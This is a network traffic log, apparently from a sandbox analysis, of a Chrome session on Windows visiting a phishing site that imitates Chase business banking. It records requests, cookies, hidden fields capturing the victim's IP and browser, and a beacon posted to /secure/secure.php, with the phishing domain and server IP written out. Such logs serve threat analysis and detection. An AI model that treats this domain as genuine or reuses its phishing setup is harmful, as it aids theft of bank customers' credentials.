2024-12-20 00:21:42 UTC	7809	IN	Data Raw: 58 69 43 63 30 78 59 4b 43 37 61 57 54 4f 69 51 52 37 6d 77 50 65 6f 62 46 2b 36 57 6e 78 39 37 62 71 64 30 48 2f 76 37 77 46 43 72 59 45 54 78 48 37 56 34 6a 70 5a 6a 4a 6d 76 76 6c 2b 4e 69 6b 43 56 32 79 37 4e 4c 53 4e 77 36 34 6d 59 79 4a 49 39 32 75 7a 48 67 4f 2b 4d 6a 61 6c 53 76 57 76 7a 58 6c 76 6b 37 74 72 69 6c 6e 34 75 4c 57 31 70 43 47 51 41 54 50 30 62 75 6e 54 42 2f 63 41 74 70 39 34 49 33 59 57 4f 75 45 79 52 33 7a 54 70 37 63 56 46 41 61 32 36 38 73 69 4f 7a 51 52 37 77 73 7a 50 4a 4d 65 4e 66 46 72 58 6a 70 72 55 6c 33 64 57 79 54 6f 4d 69 37 76 49 51 76 6f 75 63 6f 33 69 2b 70 44 6d 62 4e 58 77 59 71 64 55 48 31 35 4f 6d 54 32 37 66 70 54 51 6d 6c 70 66 47 48 79 2f 7a 4d 5a 74 6b 69 62 54 76 58 77 6c 6d 65 66 64 35 39 4b 2b 4e 57 76 50 Data Ascii: XiCc0xYKC7aWTOiQR7mwPeobF+6Wnx97bqd0H/v7wFCrYETxH7V4jpZjJmvvl+NikCV2y7NLSNw64mYyJI92uzHgO+MjalSvWvzXlvk7triln4uLW1pCGQATP0bunTB/cAtp94I3YWOuEyR3zTp7cVFAa268siOzQR7wszPJMeNfFrXjprUl3dWyToMi7vIQvouco3i+pDmbNXwYqdUH15OmT27fpTQmlpfGHy/zMZtkibTvXwlmefd59K+NWvP
2024-12-20 00:21:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:21:42 UTC	124	IN	Data Raw: 37 31 0d 0a 6f 6e 6c 69 6e 65 2e 61 63 63 65 73 73 2e 73 65 63 75 72 65 30 30 31 2e 63 68 61 73 65 2d 62 75 73 69 6e 65 73 73 2e 63 6f 6d 3c 62 72 20 2f 3e 3c 62 72 2f 3e 43 6c 69 65 6e 74 20 49 50 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 70 3e 3c 70 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 71online.access.secure001.chase-business.com<br /><br/>Client IP: 8.46.123.189</p><p></p></div></div></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49831	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:42 UTC	822	OUT	POST /secure/secure.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 78 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-12-20 00:21:42 UTC	78	OUT	Data Raw: 7b 22 72 69 22 3a 22 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 22 2c 22 69 62 22 3a 22 30 22 2c 22 72 65 22 3a 22 22 2c 22 72 66 22 3a 22 74 72 75 73 68 33 39 64 68 33 73 63 22 7d Data Ascii: {"ri":"5a4d22e2b2bbd8eeecd1e5b6b012d987","ib":"0","re":"","rf":"trush39dh3sc"}
2024-12-20 00:21:43 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:42 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49832	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:43 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:44 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:21:44 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:44 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:21:44 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49833	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:44 UTC	423	OUT	GET /favicon.ico HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn
2024-12-20 00:21:45 UTC	903	IN	HTTP/1.1 303 See Other Date: Fri, 20 Dec 2024 00:21:44 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: stp=0; expires=Fri, 20-Dec-2024 01:21:44 GMT; Max-Age=3600; path=/ Set-Cookie: ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; expires=Fri, 20-Dec-2024 01:21:44 GMT; Max-Age=3600; path=/ Set-Cookie: uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; expires=Fri, 20-Dec-2024 01:21:44 GMT; Max-Age=3600; path=/ Set-Cookie: wt=0; expires=Fri, 20-Dec-2024 01:21:44 GMT; Max-Age=3600; path=/ Set-Cookie: uid_hash=bbecbe4eee67084dce4f604c98e6ce6e; expires=Fri, 20-Dec-2024 01:21:44 GMT; Max-Age=3600; path=/ Location: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49834	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:45 UTC	787	OUT	GET / HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://online.access.secure001.chase-business.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn
2024-12-20 00:21:46 UTC	903	IN	HTTP/1.1 303 See Other Date: Fri, 20 Dec 2024 00:21:45 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: stp=0; expires=Fri, 20-Dec-2024 01:21:45 GMT; Max-Age=3600; path=/ Set-Cookie: ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; expires=Fri, 20-Dec-2024 01:21:45 GMT; Max-Age=3600; path=/ Set-Cookie: uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; expires=Fri, 20-Dec-2024 01:21:45 GMT; Max-Age=3600; path=/ Set-Cookie: wt=0; expires=Fri, 20-Dec-2024 01:21:45 GMT; Max-Age=3600; path=/ Set-Cookie: uid_hash=bbecbe4eee67084dce4f604c98e6ce6e; expires=Fri, 20-Dec-2024 01:21:45 GMT; Max-Age=3600; path=/ Location: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49836	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:45 UTC	429	OUT	GET /secure/secure.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn
2024-12-20 00:21:46 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:45 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49835	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:46 UTC	979	OUT	GET /web/auth/dashboard/dashboard/index/index HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://online.access.secure001.chase-business.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:46 UTC	308	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:46 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-20 00:21:46 UTC	6	IN	Data Raw: 32 35 30 36 0d 0a Data Ascii: 2506
2024-12-20 00:21:46 UTC	9478	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 64 69 72 3d 22 6c 74 72 22 20 64 61 74 61 2d 62 72 61 6e 64 3d 22 63 70 6f 22 20 64 61 74 61 2d 6d 64 73 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 6e 6c 69 6e 65 2e 61 63 63 65 73 73 2e 73 65 63 75 72 65 30 30 31 2e 63 68 61 73 65 2d 62 75 73 69 6e 65 73 73 2e 63 6f 6d 2f 22 3e 09 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 20 7b 0d 0a 09 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 65 61 Data Ascii: <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" class="no-js" dir="ltr" data-brand="cpo" data-mds-theme="light" lang="en"><head><base href="https://online.access.secure001.chase-business.com/"><style>body {transition: opacity ea
2024-12-20 00:21:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:21:46 UTC	6	IN	Data Raw: 33 64 34 39 0d 0a Data Ascii: 3d49
2024-12-20 00:21:46 UTC	15689	IN	Data Raw: 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 22 20 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 69 64 3d 22 69 70 22 20 6e 61 6d 65 3d 22 69 70 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 20 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 69 64 3d 22 75 61 67 65 6e 74 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 75 61 67 65 6e 74 22 20 76 61 6c 75 65 3d 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 Data Ascii: 5a4d22e2b2bbd8eeecd1e5b6b012d987" /><input id="ip" name="ip" type="hidden" value="8.46.123.189" /><input id="uagent" type="hidden" name="uagent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, li
2024-12-20 00:21:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:21:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49837	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:46 UTC	604	OUT	GET /web/auth/dashboard/dashboard/index/index HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:47 UTC	308	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:47 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-20 00:21:47 UTC	6	IN	Data Raw: 32 35 30 36 0d 0a Data Ascii: 2506
2024-12-20 00:21:47 UTC	9478	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 64 69 72 3d 22 6c 74 72 22 20 64 61 74 61 2d 62 72 61 6e 64 3d 22 63 70 6f 22 20 64 61 74 61 2d 6d 64 73 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 6e 6c 69 6e 65 2e 61 63 63 65 73 73 2e 73 65 63 75 72 65 30 30 31 2e 63 68 61 73 65 2d 62 75 73 69 6e 65 73 73 2e 63 6f 6d 2f 22 3e 09 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 20 7b 0d 0a 09 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 65 61 Data Ascii: <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" class="no-js" dir="ltr" data-brand="cpo" data-mds-theme="light" lang="en"><head><base href="https://online.access.secure001.chase-business.com/"><style>body {transition: opacity ea
2024-12-20 00:21:47 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:21:47 UTC	6	IN	Data Raw: 33 64 34 39 0d 0a Data Ascii: 3d49
2024-12-20 00:21:47 UTC	15689	IN	Data Raw: 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 22 20 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 69 64 3d 22 69 70 22 20 6e 61 6d 65 3d 22 69 70 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 20 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 69 64 3d 22 75 61 67 65 6e 74 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 75 61 67 65 6e 74 22 20 76 61 6c 75 65 3d 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 Data Ascii: 5a4d22e2b2bbd8eeecd1e5b6b012d987" /><input id="ip" name="ip" type="hidden" value="8.46.123.189" /><input id="uagent" type="hidden" name="uagent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, li
2024-12-20 00:21:47 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:21:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49838	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:48 UTC	852	OUT	GET /content/css/mds-chase-icons.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:48 UTC	273	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:08:54 GMT ETag: "63f8-6104372bb6180" Accept-Ranges: bytes Content-Length: 25592 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:21:48 UTC	16384	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 2e 65 6f 74 29 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 2e 65 6f 74 23 69 65 66 69 78 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 Data Ascii: @font-face{font-family:mds-chase-icons;src:url(fonts/mds-chase-icons.eot);src:url(fonts/mds-chase-icons.eot#iefix) format('embedded-opentype'),url(fonts/mds-chase-icons.woff2) format("woff2"),url(fonts/mds-chase-icons.woff) format("woff"),url(fonts/mds-ch
2024-12-20 00:21:48 UTC	9208	IN	Data Raw: 72 5f 34 5f 70 65 72 63 65 6e 74 61 67 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 33 35 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 34 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 34 42 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 35 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 33 33 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 35 5f 64 65 63 69 6d 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 33 36 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 35 5f 70 65 72 63 65 6e 74 61 67 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 34 31 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 35 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 34 43 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 Data Ascii: r_4_percentage:before{content:"\E235"}.ico_number_4x:before{content:"\E24B"}.ico_number_5:before{content:"\E233"}.ico_number_5_decimal:before{content:"\E236"}.ico_number_5_percentage:before{content:"\E241"}.ico_number_5k:before{content:"\E24C"}.ico_number

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49839	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
